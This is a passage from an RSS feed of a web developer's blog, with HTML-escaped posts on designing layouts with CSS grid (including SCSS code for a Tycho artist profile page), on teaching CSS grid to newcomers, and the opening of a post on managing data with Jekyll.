  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://historyofinformation.com/expanded.php?id=3793&quot;&gt;TEX and Metafont (1977 – 1979)&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://blog.typekit.com/2014/07/30/the-adobe-originals-silver-anniversary-story-how-the-originals-endured-in-an-ever-changing-industry/&quot;&gt;The Adobe Originals Silver Anniversary Story: How the Originals endured in an ever-changing industry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/Typography/SpecificationsOverview.aspx&quot;&gt;Microsoft Typography specifications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>How I design with CSS grid</title><link>https://chenhuijing.com/blog/how-i-design-with-css-grid/</link><guid isPermaLink="true">https://chenhuijing.com/blog/how-i-design-with-css-grid/</guid><description>After a couple of rounds of introducing CSS grid to people who haven&apos;t tried it before, I found it wasn&apos;t the implementation of grid that people asked…</description><pubDate>Wed, 07 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After a couple of rounds of introducing CSS grid to people who haven&apos;t tried it before, I found it wasn&apos;t the implementation of grid that people asked questions about, rather, it was the bit before that. The actual planning of how a layout would be set up.&lt;/p&gt;
&lt;p&gt;If you read the previous post on &lt;a href=&quot;/blog/teaching-css-grid-to-newcomers/&quot;&gt;teaching CSS grid to newcomers&lt;/a&gt;, one of the analogies I used was the one about gardening, i.e. curating exactly where your plots of hydrangeas, roses and tulips would turn up. Okay, lost you there. I guess horticulture isn&apos;t everyone&apos;s thing &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;But to be honest, I&apos;ve found myself using a pencil and paper to sketch out my grids a lot more since I&apos;ve started designing and building with CSS grid. The grid syntax itself is very visual in nature and I always highlight this fact when I&apos;m teaching Grid.&lt;/p&gt;
&lt;p&gt;Look at the syntax for a simple grid:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.grid {
  display: grid;
  grid-template-columns: 150px 150px 150px;
  grid-template-rows: 200px 200px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can already tell that the grid takes 3 columns and 2 rows. And this is even more evident with &lt;code&gt;grid-template-areas&lt;/code&gt;, which I am quite fond of as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;.grid {
  display: grid;
  grid-template-columns: 12em 1fr 15em;
  grid-template-rows: 10em 20em 1fr 10em;
  grid-template-areas:
    &amp;quot;a a b&amp;quot;
    &amp;quot;c d d&amp;quot;
    &amp;quot;c d d&amp;quot;
    &amp;quot;e e e&amp;quot;;
}

.grid-item__a {
  grid-area: a;
}
.grid-item__b {
  grid-area: b;
}
.grid-item__c {
  grid-area: c;
}
.grid-item__d {
  grid-area: d;
}
.grid-item__e {
  grid-area: e;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is quite intuitive to visualise the grid in your browser in the manner in which the code is being laid out. And that&apos;s fantastic, I don&apos;t think we have any other properties that behave in this manner at all. A visual presentation requires a visual tool, and we get that with CSS grid.&lt;/p&gt;
&lt;p&gt;So in broad strokes, this is my process for “web-ifying” a static print design, or whatever else was my source of inspiration at the time.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Examine all the elements on the original design&lt;/li&gt;
&lt;li&gt;Translate the design onto a pencil and paper sketch&lt;/li&gt;
&lt;li&gt;Work out how the grid needs to be structured so it can morph around different viewport sizes nicely&lt;/li&gt;
&lt;li&gt;Designate flexible and fixed tracks as per the design&lt;/li&gt;
&lt;li&gt;Start building out the design in code and view on the browser&lt;/li&gt;
&lt;li&gt;Adjust and tweak track sizes until fully cooked, oh wait, sorry, this isn&apos;t a recipe for one-pot cheesy chili &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smirking face&quot;&gt;😏&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Though I wasn&apos;t kidding about the adjust and tweak part. I resize the browser way too often than the average web user considers normal. Like exponentially more often &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Use-case: Tycho artist profile&lt;/h2&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Tycho Artist Profile by &lt;a href=&quot;https://dribbble.com/shots/3002189-Tycho/&quot;&gt;Drew Sullivan&lt;/a&gt;&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/design-grid/tycho-480.jpg 480w, /images/posts/design-grid/tycho-640.jpg 640w, /images/posts/design-grid/tycho-960.jpg 960w, /images/posts/design-grid/tycho-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/design-grid/tycho-640.jpg&quot; alt=&quot;Tycho Artist Profile by Drew Sullivan&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I came across this design on Dribbble and immediately thought to myself, hey I can totally do that on the web, and not as an image. I was familiar with &lt;a href=&quot;http://www.tychomusic.com/&quot;&gt;Tycho&lt;/a&gt; because I used his &lt;a href=&quot;http://blog.iso50.com/&quot;&gt;album covers&lt;/a&gt; as inspiration for my &lt;a href=&quot;https://www.youtube.com/watch?v=gJA5sdyCWNQ&quot;&gt;first ever conference talk&lt;/a&gt; at &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia&lt;/a&gt; back in 2016.&lt;/p&gt;
&lt;h3&gt;Examine&lt;/h3&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This is what happens in my head when I see a grid-ifyable design&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/design-grid/init-480.jpg 480w, /images/posts/design-grid/init-640.jpg 640w, /images/posts/design-grid/init-960.jpg 960w, /images/posts/design-grid/init-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/design-grid/init-640.jpg&quot; alt=&quot;General idea of grid structure&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;The design can be broken up into 6 columns and 4 rows. Maybe you see things differently, you could intuitively see 5 columns or something else, and that&apos;s totally fine. My take on design is very laissez-faire, you-do-you, so come up with whatever works well for you.&lt;/p&gt;
&lt;h3&gt;Translate, structure &amp;amp; designate&lt;/h3&gt;
&lt;p&gt;Pencil and paper is cheap and quick. It lets me iterate in my head how I want my tracks to behave, while helping me visualise the final effect. A question I get from people who first notice my grid structure is why do I have that fourth (from the left) flexible column?&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;I like analogue sketching, it works for me&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/design-grid/sketch-480.jpg 480w, /images/posts/design-grid/sketch-640.jpg 640w, /images/posts/design-grid/sketch-960.jpg 960w, /images/posts/design-grid/sketch-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/design-grid/sketch-640.jpg&quot; alt=&quot;Pencil and paper sketch of the grid&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I chose to put in an extra column for more control over the flexible spacing I wanted to have between the main text and the feature image. But there&apos;s always more than one way to skin a cat when it comes to doing CSS, and if you want to have less columns, do that.&lt;/p&gt;
&lt;p&gt;Finally, code time!&lt;/p&gt;
&lt;h3&gt;Build&lt;/h3&gt;
&lt;p&gt;Always mark-up first. Regardless of what the kids are doing these days, I stick by my guns and start with mark-up first. A fun experiment (maybe not for you, but definitely for me) is to see how your site reads on &lt;a href=&quot;http://lynx.browser.org/&quot;&gt;Lynx&lt;/a&gt;. It does serve as a good gauge of whether the content on the site is structured properly or not.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Looks reasonable to me&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/design-grid/lynx-480.jpg 480w, /images/posts/design-grid/lynx-640.jpg 640w, /images/posts/design-grid/lynx-960.jpg 960w, /images/posts/design-grid/lynx-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/design-grid/lynx-640.jpg&quot; alt=&quot;Web page rendered in Lynx browser&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Basic visual styling next, things like fonts, colours and text formatting. Because browsers have their own styles, I do some minimal resetting of my own, just for margins and paddings, as well as set &lt;code&gt;box-sizing&lt;/code&gt; to &lt;code&gt;border-box&lt;/code&gt; by default. Just a personal preference.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;main {
  max-width: 45em;
  margin: 0 auto;
  position: relative;
  padding: 1em;
}

_:-ms-input-placeholder,
:root main {
  display: block;
}

h1 {
  font-family: $header-font;
  color: $accent;
  font-size: calc(3em + 7vw);
  margin-bottom: 0.25em;
}

h2 {
  text-transform: uppercase;
  font-size: calc(1em + 0.5vw);
  color: lighten($text, 50%);
  margin-bottom: 1em;
}

hr {
  opacity: 0;
}

.about {
  line-height: 1.3;
  margin-bottom: 1em;
}

a {
  display: block;
  text-transform: uppercase;
  text-decoration: none;
  color: $text;
  margin-bottom: 2em;
  font-weight: bold;
}

img {
  width: 100%;
  height: 100%;
  object-fit: cover;
}

.location {
  text-transform: uppercase;
  line-height: 1.5;
  font-weight: bold;
}

button {
  border: 0;
  background-color: $accent;
  color: $main;
  text-transform: uppercase;
  font-size: 100%;
  padding: 1em 2em;
  position: absolute;
  right: 1em;
  bottom: 1em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The base layout should make use of CSS that is almost universal, i.e. properties that are supported everywhere. Even though I always say web pages don&apos;t need to look exactly the same in every browser, broken is &lt;strong&gt;NOT&lt;/strong&gt; a design pattern, my friends. This base layout may look a little plain and boring, but hey, if I want to go see Tycho, all the information is there for my comfortable consumption.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Vanilla is fine, really&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/design-grid/fallback-480.jpg 480w, /images/posts/design-grid/fallback-640.jpg 640w, /images/posts/design-grid/fallback-960.jpg 960w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/design-grid/fallback-640.jpg&quot; alt=&quot;Basic fallback layout&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Now, we can start doing the fun stuff of playing with grid. I chose to go with flexible units like fr and viewport units because I wanted the layout to fully occupy the window without overflowing, when space allowed. So if you look at my grid-template-columns property, it looks a little nuts if you&apos;ve never used grid before.&lt;/p&gt;
&lt;p&gt;And all the rows are relative to the viewport height, which can get a little tricky. I can&apos;t remember exactly what my initial values were any more, because there were a few rounds of adjustments, followed by manic browser resizing, then more adjustments… You get the picture.&lt;/p&gt;
&lt;h3&gt;Adjust, tweak, rinse, repeat&lt;/h3&gt;
&lt;p&gt;Eventually I settled on this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-scss&quot;&gt;@supports (display: grid) {
  @media (min-width: 42em) and (min-height: 27em) {
    main {
      max-width: none;
      padding: 0;
      display: grid;
      grid-template-columns:
        2fr minmax(10em, max-content) minmax(14em, max-content) minmax(1em, 1fr)
        fit-content(28em) calc(2em + 0.5vw);
      grid-template-rows: 35vh 40vh 15vh 10vh;
    }

    h1 {
      grid-column: 3 / 6;
      grid-row: 1 / 2;
      z-index: 2;
      padding-left: 0.25em;
      margin-bottom: initial;
    }

    h2 {
      grid-row: 1 / -1;
      grid-column: 6 / 7;
      writing-mode: vertical-rl;
      margin-bottom: initial;
      color: $text;
    }

    hr {
      grid-column: 5 / 6;
      grid-row: 2;
      height: 6px;
      background-color: $text;
      width: 20ch;
    }

    .about {
      grid-column: 5 / 6;
      grid-row: 2;
      align-self: end;
      padding-bottom: 4vh;
      margin-bottom: initial;
    }

    a {
      grid-column: 5 / 6;
      justify-self: end;
      align-self: center;
      margin-bottom: initial;

      &amp;amp;::before {
        content: &amp;quot;&amp;quot;;
        display: block;
        height: 4px;
        background-color: $accent;
        width: 4ch;
        margin-bottom: 1em;
      }
    }

    img {
      grid-column: 1 / 4;
      grid-row: 1 / 4;
    }

    .location {
      grid-column: 3 / 4;
      grid-row: 3 / 4;
      z-index: 2;
      background: $main;
      text-align: center;
      display: flex;

      p {
        margin: auto;
      }
    }

    button {
      grid-column: 2 / 3;
      grid-row: 4 / 5;
      position: initial;
      padding: 0;
    }
  }

  @media (min-width: 48em) and (min-height: 27em) {
    hr {
      opacity: 1;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The min-height query was put in there to take care of the black line underneath the main header. The thing about using viewport units for layout is, there will definitely be points where the layout breaks. Which is why media queries are quite essential. So you can switch out of viewport units when the context no longer makes sense.&lt;/p&gt;
&lt;p&gt;Here&apos;s the final end result in action:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Play around with the &lt;a href=&quot;https://huijing.github.io/demos/grids-tycho&quot;&gt;stand-alone demo&lt;/a&gt; if you like&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/grid-tycho.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/grid-tycho.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;And the CodePen, if that&apos;s more your thing. I suggest viewing in Full Page mode so you can have fun with resizing too &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/p&gt;
&lt;p data-height=&quot;353&quot; data-theme-id=&quot;9162&quot; data-slug-hash=&quot;QQGBjY&quot; data-default-tab=&quot;css,result&quot; data-user=&quot;huijing&quot; data-embed-version=&quot;2&quot; data-pen-title=&quot;Tycho Artist Profile&quot; class=&quot;codepen&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/huijing/pen/QQGBjY/&quot;&gt;Tycho Artist Profile&lt;/a&gt; by Chen Hui Jing (&lt;a href=&quot;https://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;https://codepen.io&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The original inspiration worked best on a landscape view, and just because it doesn&apos;t work well on a portrait orientation doesn&apos;t mean we can&apos;t adopt it. Our job is to think about designing for a dynamic medium, and I find that incredibly rewarding, and fun, to be honest.&lt;/p&gt;
&lt;p&gt;What other medium exists where we don&apos;t just think in one fixed dimension? We get to think about how our design will morph on a narrow screen, or on an older browser, in addition to how it will appear on a browser with the latest features. And to me, that&apos;s what makes our medium really special.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;I genuinely believe that CSS grid will encourage designers and developers to explore more creative layouts and rely less on pre-canned CSS frameworks because of its intuitive yet powerful nature. I don&apos;t think CSS frameworks will go away, and there are definitely use cases for them, but I look forward to a time when CSS grid is THE go-to technique for building layouts on the web &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with sunglasses&quot;&gt;😎&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Teaching CSS grid to newcomers</title><link>https://chenhuijing.com/blog/teaching-css-grid-to-newcomers/</link><guid isPermaLink="true">https://chenhuijing.com/blog/teaching-css-grid-to-newcomers/</guid><description>I&apos;ve had quite a start to 2018, largely due to my tendency to “say yes, worry later”, which has both served me well yet sometimes makes me question my…</description><pubDate>Sun, 04 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&apos;ve had quite a start to 2018, largely due to my tendency to “say yes, worry later”, which has both served me well yet sometimes makes me question my intelligence. So in January 2018, I became gainfully employed full-time, organised a &lt;a href=&quot;https://singaporecss.github.io/24/&quot;&gt;half-day CSS conference&lt;/a&gt;, spoke at &lt;a href=&quot;https://2018.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt; and conducted a workshop on CSS grid there as well.&lt;/p&gt;
&lt;p&gt;Can you understand why I tell my friends I&apos;m an idiot who is incapable of checking her calendar now? Anyhow, over Christmas, I got to know a bunch of friends who just graduated from one of the many bootcamp programs here in Singapore.&lt;/p&gt;
&lt;p&gt;This particular bootcamp apparently did not place much emphasis on front-end technologies as they did not cover JavaScript and mainly used Bootstrap as their CSS solution for all their projects.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;My face when I heard this...&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/wtf.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/wtf.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;If you don&apos;t know me, just know that I really, really dislike pre-canned CSS frameworks. I do agree every project ought to have their own customised CSS framework, but we&apos;ll talk about that another day.&lt;/p&gt;
&lt;p&gt;The TLDR version of things is that, since I was holding a CSS grid workshop for &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt;, why not get two of them to be my co-facilitators, and I&apos;d just give them a crash course on CSS layout beforehand? Just another one of my hare-brained schemes &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion: CSS grid is intuitive to new-comers, and will change the way we teach web layouts moving forward.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Establish understanding with questions&lt;/h2&gt;
&lt;p&gt;It might be just me, but I like asking basic questions first. Like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is Bootstrap?&lt;/li&gt;
&lt;li&gt;What is CSS?&lt;/li&gt;
&lt;li&gt;What do you think X is?&lt;/li&gt;
&lt;li&gt;Why do you think Y does that?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Something along those lines. Or if I&apos;m feeling cheeky, I start off with “tell me about CSS”, to which I usually get this look &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with raised eyebrow&quot;&gt;🤨&lt;/span&gt;. But it does help to understand where the other party stands so I can better get my points across.&lt;/p&gt;
&lt;h2&gt;Befriending the browser is key&lt;/h2&gt;
&lt;p&gt;I may not be the most experienced web veteran around, but I have had my fair share of trying to explain to non-developers why certain designs were not feasible during my agency life. Eventually I realised that a lot of the issues arose from the lack of understanding of how a browser rendered stuff.&lt;/p&gt;
&lt;p&gt;Almost every other medium I can think of allows for direct manipulation of the canvas. When you draw or paint, you can determine exactly where you want an element to appear, same goes for if you use any digital image creation software like Sketch or Photoshop. If you are used to such a mode of operation, the browser may seem unwieldy for design.&lt;/p&gt;
&lt;p&gt;That&apos;s because there is one more layer separating you, the creative designer, and the browser, which is the canvas. And that layer is code, the instructions we have to give the browser to tell it how we want our elements to appear. Without a solid understanding of the capabilities and behaviours of the browser, this will become as fun as trying to tell a toddler how to operate a forklift.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Or being a walrus with no limbs...&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/walrus.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/walrus.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;What I found really useful as a resource for explaining the browser was &lt;a href=&quot;https://code-cartoons.com/&quot;&gt;Lin Clark&lt;/a&gt;&apos;s article where she explained &lt;a href=&quot;https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/&quot;&gt;the Quantum CSS engine&lt;/a&gt; published on Mozilla Hacks last year. The steps of Parse → Style → Layout → Paint → Composite are so much more easily understood when she explains them.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;margin: 0 0 1.5em;&quot;&gt;
    &lt;figcaption&gt;Parse&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/newcomers/02-parse.png&quot; alt=&quot;Magazine layout&quot;/&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;margin: 0 0 1.5em;&quot;&gt;
    &lt;figcaption&gt;Style&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/newcomers/03-style.png&quot; alt=&quot;Web layout&quot;/&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;margin: 0 0 1.5em;&quot;&gt;
    &lt;figcaption&gt;Layout&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/newcomers/04-layout.png&quot; alt=&quot;Web layout&quot;/&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;margin: 0 0 1.5em;&quot;&gt;
    &lt;figcaption&gt;Paint&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/newcomers/05-paint.png&quot; alt=&quot;Web layout&quot;/&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot; style=&quot;margin: 0 0 1.5em;&quot;&gt;
    &lt;figcaption&gt;Composite&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/newcomers/06-composite.png&quot; alt=&quot;Web layout&quot;/&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h2&gt;Analogies are a thing&lt;/h2&gt;
&lt;p&gt;Another thing I found myself doing was using all sorts of analogies that were not web-related to get my point across. Sometimes, teaching feels like refining a stand-up routine (omg, I did it again), because as I rack my brain to explain things as simply as I can, new ideas pop into my head.&lt;/p&gt;
&lt;p&gt;So these are the CSS-related analogies I used thus far:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Chessboard and chess pieces, for grid item placement. Like, placing items on the grid is like placing pieces on a chess board.&lt;/li&gt;
&lt;li&gt;Jay-Z and Beyoncé, for the relationship between Grid and Flexbox. Like, how Jay-Z and Beyoncé are both great on their own, but together, achieve another level of awesomeness. Just like Grid and Flexbox. This is my go-to for every layout talk I&apos;ve ever given &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Water, for explaining the cascading, global nature of CSS versus the modular, encapsulated nature of most traditional programming languages. Like, traditional programming paradigms treat functions discretely, like stones you can pick up, but CSS is like water, which flows and cannot be controlled, only shaped.&lt;/li&gt;
&lt;li&gt;Team sport, for describing how the full power of CSS shines through when used in combination. Like, most tutorials or articles tend to look at a particular property in isolation, which is great for understanding and learning something new. But combining properties is what makes magic.&lt;/li&gt;
&lt;li&gt;Curated landscaping, for comparing past layout techniques with CSS grid. Like, pre-Grid layouts which relied on sizing the item was akin to tossing your seeds in general directions and just hoping they will all grow out in the right place. But grid lets us plant our flowers in specific plots so they all grow out exactly where we want them to.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This list will only continue to grow as I keep trying to explain web layouts to people, so stay tuned for more of the same. If you don&apos;t subscribe to my brand of self-entertainment, well, not much I can do about that, can I?&lt;/p&gt;
&lt;h2&gt;A bit of history helps with understanding&lt;/h2&gt;
&lt;p&gt;Note that I said a bit, not a lot. That just becomes boring. I figured some background about this thing known as CSS would help resolve some untold emotional trauma amongst people who are uncomfortable with CSS. Or maybe not. I still have to try, right?&lt;/p&gt;
&lt;p&gt;CSS has evolved along with browser capabilities over the past two decades, and the structure of its specifications have been updated along the way as well. CSS specifications are now modular in nature, to help with maintenance and updating.&lt;/p&gt;
&lt;p&gt;If you stop to think about it, it&apos;s been quite a journey, from having no way to do layout, to doing it in HTML with the &lt;code&gt;table&lt;/code&gt; element, to hacking floats and flexbox, before we finally got CSS grid as a means to properly lay out a full page of elements.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Web layouts, an evolution.&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/newcomers/layouts-480.jpg 480w, /images/posts/newcomers/layouts-640.jpg 640w, /images/posts/newcomers/layouts-960.jpg 960w, /images/posts/newcomers/layouts-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/newcomers/layouts-640.jpg&quot; alt=&quot;Web layouts over the years&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Explaining the context of why we had to jump through so many hoops to try to layout a page on the web makes it slightly easier to accept the nature of CSS (at least based on my limited sample size). Regardless, my inordinate love of CSS just meant that I was having the time of my life talking about CSS. My two friends who were on the receiving end…? You&apos;ll have to ask them &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/p&gt;
&lt;h2&gt;Team Anyhowly&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;anyhow /ˈɛnɪhaʊ/: in a careless or haphazard way.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;-ly: is usually a contraction of -like, commonly added to an adjective to form an adverb, but in some cases it is used to form an adjective.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;People who learned the English language properly will realise that &lt;em&gt;Anyhow&lt;/em&gt; is an adverb already, hence the &lt;em&gt;-ly&lt;/em&gt; is redundant. But Singlish being what it is, we don&apos;t care. It&apos;s like saying ATM machine, or LCD display. Redundancy is all around us, just accept it &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Because of my haphazard ways, I have decided to co-opt the term &lt;strong&gt;Anyhowly&lt;/strong&gt; for my personal use. Like how we &lt;em&gt;anyhowly&lt;/em&gt; organised &lt;a href=&quot;https://singaporecss.github.io/24/&quot;&gt;Talk.CSS max-content edition&lt;/a&gt; (videos are all up ICYMI #shamelessplug), and how I &lt;em&gt;anyhowly&lt;/em&gt; decided to ask two people with no prior experience with CSS grid to be my co-facilitators. Anyhowly™.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Team Anyhowly repping Talk.CSS&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/newcomers/team-anyhowly-480.jpg 480w, /images/posts/newcomers/team-anyhowly-640.jpg 640w, /images/posts/newcomers/team-anyhowly-960.jpg 960w, /images/posts/newcomers/team-anyhowly-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/newcomers/team-anyhowly-640.jpg&quot; alt=&quot;Team Anyhowly at JSConf.Asia 2018&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I want to take this opportunity to show my greatest appreciation to the two of them, Gloria Soh (left) and Shirlaine Phang (right), for going along with my monkeying about, and tolerating my lack of adulting skills. The &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt; grid workshop was more fun with them around anyway.&lt;/p&gt;
&lt;p&gt;Team Anyhowly forever &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person gesturing ok&quot;&gt;🙆&lt;/span&gt;. May the monkeying never stop.&lt;/p&gt;
</content:encoded></item><item><title>Managing data with Jekyll</title><link>https://chenhuijing.com/blog/managing-data-with-jeykll/</link><guid isPermaLink="true">https://chenhuijing.com/blog/managing-data-with-jeykll/</guid><description>I use Jekyll quite a bit, for this site, for the SingaporeCSS site, for my Penang Hokkien site, you get the picture. In case you&apos;ve never heard of Jekyll, it…</description><pubDate>Mon, 01 Jan 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I use &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt; quite a bit, for this site, for the &lt;a href=&quot;https://singaporecss.github.io/&quot;&gt;SingaporeCSS&lt;/a&gt; site, for my &lt;a href=&quot;http://penang-hokkien.gitlab.io/&quot;&gt;Penang Hokkien&lt;/a&gt; site, you get the picture. In case you&apos;ve never heard of Jekyll, it is a static site generator. And there are quite a lot of static site generators out there, popular ones (that I&apos;ve personally heard of) being &lt;a href=&quot;http://gohugo.io/&quot;&gt;Hugo&lt;/a&gt;, &lt;a href=&quot;https://www.gatsbyjs.org/&quot;&gt;Gatsby&lt;/a&gt; and &lt;a href=&quot;http://www.metalsmith.io/&quot;&gt;Metalsmith&lt;/a&gt;. In fact, &lt;a href=&quot;https://www.netlify.com/&quot;&gt;Netlify&lt;/a&gt; maintains a list of open source static sites generators called &lt;a href=&quot;https://www.staticgen.com/&quot;&gt;StaticGen&lt;/a&gt;. It&apos;s a really long list.&lt;/p&gt;
